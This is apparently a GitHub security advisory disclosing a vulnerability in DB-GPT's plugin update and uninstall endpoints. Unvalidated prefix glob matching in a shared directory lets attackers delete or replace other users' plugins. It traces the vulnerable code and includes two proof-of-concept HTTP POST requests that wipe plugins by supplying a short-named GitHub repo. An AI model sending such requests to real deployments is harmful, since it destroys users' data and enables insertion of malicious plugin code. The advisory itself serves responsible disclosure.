-
Notifications
You must be signed in to change notification settings - Fork 2.4k
Description
Description
The /api/v1/agent/hub/update
endpoint is used to update plugins from Github url. However, there is a lack of user isolation and precise path validation when handling the plugin directory. An attacker can forge GitHub plugin links and construct specific parameters to delete or overwrite other users' plugins during the update process, ultimately resulting in denial of service or the insertion of malicious plugin code.
Root cause
The /api/v1/agent/hub/update
endpoint gains user input url
, branch
and authorization
to refresh_hub_from_git
at [1].
Then calling update_from_git
to update plugins with github url. It extracts a name from url
as plugin_repo_name
at [3]. After pulling plugins from github at [4], it will try to match plugins with the prefix plugin_repo_name
with glob.glob
at [5], and delete them at [6].
#packages\dbgpt-serve\src\dbgpt_serve\agent\hub\controller.py#L62
@router.post("/v1/agent/hub/update", response_model=Result[str])
async def plugin_hub_update(update_param: PluginHubParam = Body()):
…
try:
branch = (
update_param.branch
if update_param.branch is not None and len(update_param.branch) > 0
else "main"
)
authorization = (
update_param.authorization
if update_param.branch is not None and len(update_param.branch) > 0
else None
)
plugin_hub.refresh_hub_from_git(update_param.url, branch, authorization) #-->【1】
# packages\dbgpt-serve\src\dbgpt_serve\agent\hub\plugin_hub.py #L227
def refresh_hub_from_git(
self,
github_repo: str = None,
branch_name: str = "main",
authorization: str = None,
):
update_from_git(
self.temp_hub_file_path, github_repo, branch_name, authorization
) #-->【2】
# packages\dbgpt-core\src\dbgpt\agent\resource\tool\autogpt\plugins_util.py#L171
def update_from_git(
download_path: str,
github_repo: str = "",
branch_name: str = "main",
authorization: Optional[str] = None,
):
…
github_repo = github_repo.replace(".git", "")
url = github_repo + "/archive/refs/heads/" + branch_name + ".zip"
plugin_repo_name = github_repo.strip("/").split("/")[-1] #-->【3】
else:
…
try:
session = requests.Session()
headers = {}
if authorization and len(authorization) > 0:
headers = {"Authorization": authorization}
response = session.get(
url,
headers=headers,
)#-->【4】
if response.status_code == 200:
plugins_path_path = Path(download_path)
files = glob.glob(os.path.join(plugins_path_path, f"{plugin_repo_name}*")) #-->【5】
for file in files:
os.remove(file) #-->【6】
Similarly, /api/v1/agent/uninstall
endpoints has the same problem and the call chain is:
agent_uninstall (packages\dbgpt-serve\src\dbgpt_serve\agent\hub\controller.py#L117) –> uninstall_plugin (packages\dbgpt-serve\src\dbgpt_serve\agent\hub\plugin_hub.py#202)
Due to the use of prefix matching in the deletion, an attacker can leverage short names (such as "a" or "b") to delete other legitimate plugin files or replace existing plugins with those of the same name. Additionally, since the plugin directory is not user-isolated and all user plugins works in the same path, it will amplifies the impact of the vulnerability.
PoC
- Download a normal plugin
DB-GPT-Plugins
.
POST /api/v1/agent/hub/update HTTP/1.1
Host: 172.21.0.3:5670
Content-Type: application/json
Connection: close
Content-Length: 54
{
"url":"https://github.com/eosphoros-ai/DB-GPT-Plugins"
}
- Update a plugin with the prefix
DB
. Here I find a git repo https://github.com/MhLiao/DB.
POST /api/v1/agent/hub/update HTTP/1.1
Host: 172.21.0.3:5670
Content-Type: application/json
Connection: close
Content-Length: 54
{
"url":"https://github.com/MhLiao/DB",
"branch":"master"
}
Result:

Credit
This vulnerability was discovered by Tian Yu from ADLab of VenusTech